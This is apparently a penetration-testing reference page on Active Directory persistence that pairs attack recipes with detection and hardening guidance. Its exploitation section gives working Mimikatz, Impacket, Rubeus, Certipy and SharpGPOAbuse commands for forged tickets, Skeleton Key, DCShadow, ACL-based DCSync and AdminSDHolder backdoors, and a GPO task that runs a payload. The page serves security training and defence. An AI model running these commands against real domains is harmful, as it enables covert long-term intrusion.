Skip to main content

1. Overview​

Persistence in Active Directory is the phase where the attacker establishes long-term access that survives password rotations, re-ACLs, and partial remediation. Defense (detection + hardening) is the symmetric phase: how to find and remove persistence, and how to prevent it.

This file covers the standard AD persistence techniques and the defensive controls that detect or block them.

Techniques at a glance:

TechniqueRequiresSurvivesDetection
Golden TicketKRBTGT hashUntil KRBTGT rotated twice4769 anomalies, TGT lifetime
Silver TicketService account hashUntil service password rotated4769 without 4768
Diamond TicketKRBTGT hash + DAUntil KRBTGT rotatedHarder to detect (valid TGT)
Sapphire TicketKRBTGT hash + DAUntil KRBTGT rotatedHarder to detect (real TGT)
DCShadowDA + rogue DCUntil DC re-registered4742 (DC registered), 5137
Skeleton KeyDA + LSASS patchUntil DC reboot4688 (mimikatz), LSASS patch
AdminSDHolderWrite on AdminSDHolderSDProp reapplication (persistent)5136 on AdminSDHolder
SID HistoryDA + trustUntil SID removed4765 (SID History added)
DCSync rightsWrite on domain rootUntil ACL removed4662 (replication GUIDs)
Certificate persistenceADCS ESC + enrollUntil certificate revoked4886, 4887
GPO persistenceWrite on GPOUntil GPO removed5136 on GPO, 4739

Why persistence matters:

  • Real-world intrusions last months; attackers persist silently.
  • Most persistence survives password rotations.
  • Detection is often retrospective (weeks or months later).
  • Remediation requires knowing exactly what was changed.

2. Reconnaissance / Enumeration​

Offensive - verify persistence is in place:

# Golden Ticket: check if the forged TGT is accepted
klist
dir \\dc01.corp.local\c$

# Silver Ticket: check if the forged TGS is accepted
# (no prior TGT request - 4768 absent)

# DCShadow: check for rogue DC registration
netdom query dc
Get-ADDomainController -Filter *

# AdminSDHolder: check who has rights after SDProp
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs

# SID History: check a user's SIDHistory
Get-DomainUser USER -Properties sidhistory
wmic useraccount get name,sid

# DCSync rights: check the domain root ACL
Get-DomainObjectAcl -Identity "DC=corp,DC=local" -ResolveGUIDs | Where-Object { $_.ObjectAceType -match "Replicating Directory Changes" }

Defensive - hunt persistence:

# Check for DCSync rights on non-admin accounts
Get-DomainObjectAcl -Identity "DC=corp,DC=local" -ResolveGUIDs | Where-Object { $_.ObjectAceType -match "Replicating Directory Changes" -and $_.SecurityIdentifier -notin @("S-1-5-18","S-1-5-21-...-500") }

# Check for suspicious SID History
Get-DomainUser -Properties samaccountname,sidhistory | Where-Object { $_.sidhistory } | Select samaccountname,sidhistory

# Check for rogue DCs
Get-ADDomainController -Filter * | Select Name,HostName,Site

# Check for suspicious AdminSDHolder changes
Get-DomainObjectAcl -Identity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -ResolveGUIDs

# Check for suspicious certificate enrollments
certutil -view -restrict "Disposition=20" -out "RequestID,RequesterName,NotBefore,NotAfter"

Defensive - audit logs to check:

  • Event 4769 (TGS request) with Ticket Encryption Type = 0x17 (RC4).
  • Event 4768 (TGT request) with Pre-Authentication Type = 0 or unusually long ticket lifetime.
  • Event 4624 (logon) with Logon Type 3 (network) from a NTLM logon process (NtLmSsp).
  • Event 4662 (directory service access) with replication GUIDs.
  • Event 5136 (directory service object modification) on sensitive objects.
  • Event 4742 (computer account changed) - rogue DC registration.
  • Event 4886 / 4887 (certificate services) - unusual enrollments.

3. Common Attack Vectors​

Golden Ticket:

  • Forge a TGT with the KRBTGT hash.
  • Valid until KRBTGT is rotated twice.
  • Grants access to any service in the domain.
  • Detection: 4769 anomalies (TGT lifetime, encryption type).

Silver Ticket:

  • Forge a TGS with a service account hash.
  • Valid for the specific service (cifs, http, mssql, etc.).
  • No TGT request (4768) precedes the TGS request (4769) - anomalous.
  • Grants access to the specific service.

Diamond Ticket:

  • Modify a legitimate TGT (not forge from scratch).
  • The resulting ticket is a valid TGT with a modified PAC.
  • Harder to detect than Golden Ticket.

Sapphire Ticket:

  • Obtain a legitimate TGT for a user, then modify the PAC.
  • The TGT is a real TGT, so the KRBTGT check passes.
  • Hardest to detect.

DCShadow:

  • Register a rogue DC (DsAddSvc), push changes via replication, unregister.
  • Changes appear as legitimate replication traffic.
  • Detection: 4742 (computer account changed), 5137 (object created).

Skeleton Key:

  • Patch LSASS on a DC to accept a master password (default mimikatz).
  • Valid until the DC reboots.
  • Detection: 4688 (mimikatz), LSASS patch (memory forensics).

AdminSDHolder:

  • Grant a controlled user rights on AdminSDHolder.
  • SDProp reapplies the ACL to all protected objects every 60 minutes.
  • Survives re-ACLs and password rotations.
  • Detection: 5136 on AdminSDHolder.

SID History:

  • Inject an Enterprise Admins SID into a user's SIDHistory.
  • Requires DA in a domain that trusts the target domain.
  • Detection: 4765 (SID History added).

DCSync rights:

  • Grant a controlled user replication rights on the domain root.
  • The user can now DCSync at will.
  • Detection: 4662 with replication GUIDs.

Certificate persistence:

  • Enroll a certificate for a DA user (after ADCS compromise).
  • The certificate is valid for the CA's lifetime.
  • Detection: 4886, 4887.

GPO persistence:

  • Modify a GPO to add a logon script, scheduled task, or local admin.
  • Applies to all users/computers in the linked OU.
  • Detection: 5136 on GPO, 4739.

4. Exploitation Recipes​

Golden Ticket with Mimikatz:

# On a compromised host (with KRBTGT hash + domain SID)
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:<KRBTGT_HASH> /ptt

# Expected output:
# User : Administrator
# Domain : corp.local (CORP)
# SID : S-1-5-21-...
# User Id : 500
# Groups Id : *513 512 520 518 519
# ServiceKey: <KRBTGT_HASH> - rc4_hmac_nt
# Lifetime : 10/14/2026 12:00:00 ; 10/24/2026 12:00:00
# -> Ticket : ** Pass The Ticket **

# Use the ticket
klist
dir \\dc01.corp.local\c$
secretsdump.py -k -no-pass corp.local/Administrator@dc01.corp.local

Golden Ticket with Impacket (Linux):

ticketer.py -nthash <KRBTGT_HASH> -domain-sid S-1-5-21-... -domain corp.local Administrator

# Use the ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@dc01.corp.local

Silver Ticket:

# Forge a TGS for CIFS on a specific host
ticketer.py -nthash <SERVICE_ACCOUNT_HASH> -domain-sid S-1-5-21-... -domain corp.local -spn cifs/srv01.corp.local Administrator

# Use the ticket
export KRB5CCNAME=Administrator.ccache
smbclient //srv01.corp.local/c$ -k -no-pass

Diamond Ticket (Rubeus):

# 1. Request a legitimate TGT
Rubeus.exe asktgt /user:USER /password:PASS /domain:corp.local /dc:dc01.corp.local /nowrap

# 2. Modify the PAC (add Domain Admins)
Rubeus.exe diamond /tgt:<base64> /ticketuser:Administrator /ticketuserid:500 /groups:512 /krbkey:<KRBTGT_HASH> /nowrap

# 3. Use the modified ticket
Rubeus.exe ptt /ticket:<base64>

DCShadow (Mimikatz):

# Terminal 1: Start the rogue DC
mimikatz # lsadump::dcshadow /object:CN=USER,CN=Users,DC=corp,DC=local /attribute:primaryGroupID /value:512

# Terminal 2: Push the changes via replication
mimikatz # lsadump::dcshadow /push

# Expected output:
# [DC] Object registered
# [DC] Push
# [DC] Object unregistered

Skeleton Key:

# On a DC (requires DA + SeDebugPrivilege)
mimikatz # privilege::debug
mimikatz # misc::skeleton

# Expected output:
# [KDC] Skeleton key patched
# [KDC] Master password: mimikatz

# Use the master password
net use \\dc01.corp.local\c$ /user:CORP\Administrator mimikatz

AdminSDHolder persistence:

# Grant yourself GenericAll on AdminSDHolder
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity USER -Rights All

# Wait for SDProp (60 minutes) or trigger it manually
# Trigger SDProp (requires admin on a DC)
# On the DC: Invoke-Command -ScriptBlock { Set-ADObject -Identity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -Replace @{} }

# After SDProp: USER has GenericAll on all protected objects

SID History injection:

# Requires DA in a domain that trusts the target domain
# (or a child domain that trusts the forest root)
mimikatz # sid::patch
mimikatz # sid::add /sam:USER /new:<ENTERPRISE_ADMINS_SID>
mimikatz # sid::modify /sam:USER /new:<DOMAIN_SID>

# The user now has Enterprise Admins in their SIDHistory

DCSync rights persistence:

# Grant DCSync to a controlled user
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity USER -Rights DCSync

# The user can now DCSync at will
secretsdump.py corp.local/USER:PASS@10.10.10.10

Certificate persistence:

# After ADCS compromise, enroll a certificate for a DA user
certipy req -u USER@corp.local -p PASS -ca CORP-CA -template User -upn Administrator@corp.local -dc-ip 10.10.10.10

# The certificate is valid for the CA's lifetime
# Authenticate with it whenever needed
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

GPO persistence:

# Write access on a GPO linked to an OU with privileged computers
# Add an immediate scheduled task to the GPO
Set-GPPrefRegistryValue -Name "EvilGPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "C:\Windows\Temp\payload.exe" -Type String

# Or use SharpGPOAbuse
SharpGPOAbuse.exe --AddComputerTask --TaskName "Updater" --Author CORP\Administrator --Command "cmd.exe" --Arguments "/c C:\Windows\Temp\payload.exe" --GPOName "EvilGPO"

5. Post-Exploitation​

After Golden Ticket:

  • The ticket is valid for 10 hours (default); renew with /renewmax.
  • Rotate KRBTGT twice to invalidate all Golden Tickets.
  • The attacker's TGT is undetectable unless event 4769 anomalies are monitored.

After Silver Ticket:

  • Valid for the specific service until the service account password is rotated.
  • Rotate the service account password to invalidate.

After Diamond / Sapphire Ticket:

  • Harder to detect; rely on behavioral anomalies (unusual TGT use).
  • Rotate KRBTGT twice to invalidate.

After DCShadow:

  • Rogue DC is unregistered after the push; no persistent object.
  • The changes (e.g. primaryGroupID) persist as legitimate replication.
  • Detection requires monitoring 4742 and 5137 events.

After Skeleton Key:

  • Valid until the DC reboots.
  • Reboot the DC to invalidate.
  • Detection requires LSASS memory forensics.

After AdminSDHolder:

  • Persistent across password rotations and re-ACLs.
  • Remove the ACE from AdminSDHolder and wait for SDProp.
  • Verify removal after SDProp (60 minutes).

After SID History:

  • Persistent until the SIDHistory attribute is cleared.
  • Clear with Set-ADUser -Identity USER -Clear sidHistory (requires DA in both domains).

After DCSync rights:

  • Persistent until the ACE is removed.
  • Remove with Remove-DomainObjectAcl.

After certificate persistence:

  • Valid for the CA's lifetime (1-5 years).
  • Revoke the certificate (requires CA admin).
  • Rotate the CA if the private key is compromised.

After GPO persistence:

  • Persistent until the GPO is modified or unlinked.
  • Audit GPO changes and re-apply baseline.

6. Risk Context​

Persistence is what makes AD intrusions last months:

  • Golden Tickets survive password rotations and partial remediation.
  • AdminSDHolder persistence survives re-ACLs.
  • Certificate persistence lasts for years.
  • DCSync rights are silent until used.
  • DCShadow changes appear as legitimate replication.

Blast radius: after persistence is established, the attacker can return at will - often unnoticed.

Why persistence succeeds:

  • KRBTGT is rarely rotated (even after compromise).
  • AdminSDHolder is rarely audited.
  • ADCS certificates are rarely revoked.
  • Service account passwords are rarely rotated.
  • DCSync rights are rarely audited.
  • GPOs accumulate over years; changes are rarely reviewed.

7. Root Causes​

  • KRBTGT not rotated. Even after a known compromise, many organizations never rotate.
  • AdminSDHolder not audited. ACL changes are not monitored.
  • ADCS certificates not revoked. Enrollment is rarely audited.
  • Service account passwords not rotated. After compromise, the hashes remain valid.
  • DCSync rights on non-admin accounts. Entra Connect, backup tools, and monitoring accounts.
  • GPOs not reviewed. Changes are rarely audited.
  • No baseline of legitimate persistence. Impossible to detect anomalies without a baseline.

8. Preventive Controls​

KRBTGT rotation:

  • Rotate KRBTGT twice after any suspected compromise (with a delay of at least 10 hours between rotations).
  • Rotate annually as a baseline.
  • Script it: Reset-KrbtgtKey (Microsoft) or a custom script.

AdminSDHolder:

  • Audit ACL quarterly.
  • Remove GenericAll, WriteDacl, WriteOwner from non-admin principals.
  • Enable alerts on 5136 for AdminSDHolder.

ADCS:

  • Audit enrollment (4886, 4887).
  • Revoke certificates for terminated employees.
  • Monitor templates with unusual SANs.
  • Restrict enrollment to authorized users.

Service accounts:

  • Use gMSA where possible.
  • Rotate passwords quarterly (25+ chars, random).
  • Monitor Kerberoasting attempts (4769 RC4).

DCSync:

  • Audit replication rights quarterly.
  • Document Entra Connect and backup accounts.
  • Remove DCSync from any other account.

GPOs:

  • Audit GPO changes quarterly.
  • Restrict write access to GPOs linked to privileged OUs.
  • Enable advanced audit on GPO modifications (5136, 4739).

General:

  • Tiered administration model (Tier 0 / 1 / 2).
  • PAWs for Tier 0.
  • Protected Users for Tier 0 accounts.
  • Credential Guard on Windows 10/11 and Server 2016+.

9. Detection Controls​

Golden Ticket:

  • Event 4769 with a TGT lifetime longer than the default (10 hours).
  • Event 4769 with an unexpected encryption type.
  • Event 4769 for a user with no prior 4768 (TGT request).
  • Event 4672 (special privileges) for non-admin users.

Silver Ticket:

  • Event 4769 without a preceding 4768 (no TGT request).
  • Event 4769 with a TGS for a service the user never accessed.
  • Event 4769 with an anomalous Client Address.

Diamond / Sapphire Ticket:

  • Behavioral anomalies: TGT use from unexpected IPs, unusual services.
  • Rely on UEBA (User and Entity Behavior Analytics).

DCShadow:

  • Event 4742 (computer account changed) - rogue DC registration.
  • Event 5137 (object created) - rogue DC objects.
  • Event 4662 with DsAddSvc / DsRemoveSvc operations.

Skeleton Key:

  • Event 4688 (mimikatz, powershell with misc::skeleton).
  • LSASS memory forensics (patched LSASS).
  • Event 4624 with mimikatz master password.

AdminSDHolder:

  • Event 5136 (directory service object modification) on CN=AdminSDHolder,CN=System.
  • Event 4780 (ACL set on admin accounts).
  • Event 4738 (user account changed) - SDProp reapplication.

SID History:

  • Event 4765 (SID History added).
  • Event 4766 (SID History add failed).
  • Event 5136 on sIDHistory attribute.

DCSync rights:

  • Event 4662 with replication GUIDs:
    • 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
    • 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
  • Alert on any account other than the DC machine account and the documented Entra Connect account.

Certificate persistence:

  • Event 4886 (certificate services: certificate issued).
  • Event 4887 (certificate services: certificate request approved).
  • CA audit log on templates with unusual SANs.

GPO persistence:

  • Event 5136 (directory service object modification) on GPO objects.
  • Event 4739 (domain policy changed).
  • Event 4688 on managed hosts - unexpected process from a GPO.

General:

  • Honeytokens: fake privileged accounts, fake service accounts, fake GPOs. Any authentication or modification is high-confidence.

10. Verification​

Offensive - is persistence in place?

  • Golden Ticket: forged TGT accepted; access to services that should be inaccessible.
  • Silver Ticket: forged TGS accepted; access to the target service.
  • DCShadow: pushed changes are visible (e.g. primaryGroupID).
  • Skeleton Key: master password accepted.
  • AdminSDHolder: after SDProp, the granted right is effective on protected objects.
  • SID History: the user has the injected SID.
  • DCSync: secretsdump succeeds with the controlled user.
  • Certificate: authentication with the .pfx succeeds.
  • GPO: the managed host executes the GPO payload.

Defensive - are controls effective?

  • Test KRBTGT rotation: after two rotations, all Golden Tickets fail.
  • Test AdminSDHolder: no unexpected ACEs; alerts fire on modification.
  • Test ADCS revocation: revoked certificates fail authentication.
  • Test DCSync: only documented accounts have replication rights.
  • Test GPO audit: changes are logged and alerted.
  • Test SID filtering: SID History injection fails on external trusts.

11. OSCP Notes​

  • Persistence is rarely required in OSCP (the exam is time-boxed), but is essential for OSCP Pro Labs and real engagements.
  • Golden Ticket and Silver Ticket are the classic persistence techniques; practice the full chain (DCSync -> KRBTGT hash -> Golden Ticket -> access).
  • AdminSDHolder is a stealthy persistence technique; practice with PowerView.
  • Capture screenshots of:
    • The KRBTGT hash from DCSync output.
    • The Golden Ticket forged and used (klist + access).
    • The AdminSDHolder ACE.
    • The persistence verification (access after re-ACL).
  • The > [!IMPORTANT] OSCP reporting note applies to the persistence verification step.

12. Production Notes​

  • KRBTGT rotation is rare in production; assume Golden Tickets remain valid indefinitely after a compromise.
  • AdminSDHolder persistence is subtle and often missed; audit the object quarterly.
  • ADCS certificate persistence is the modern stealthy technique; monitor 4886/4887.
  • DCShadow is extremely stealthy; detection requires DC registration monitoring (4742).
  • Skeleton Key is loud (LSASS patch); modern EDR flags it immediately.
  • Assume the attacker is persistent; remediation requires a full AD rebuild in the worst case.
  • Incident response for AD compromise: rotate KRBTGT twice, rotate all Tier 0 passwords, rebuild compromised hosts, audit ADCS enrollment, audit AdminSDHolder, audit DCSync rights, audit GPOs.

13. References​

Microsoft documentation:

MITRE ATT&CK:

Tools:

Research: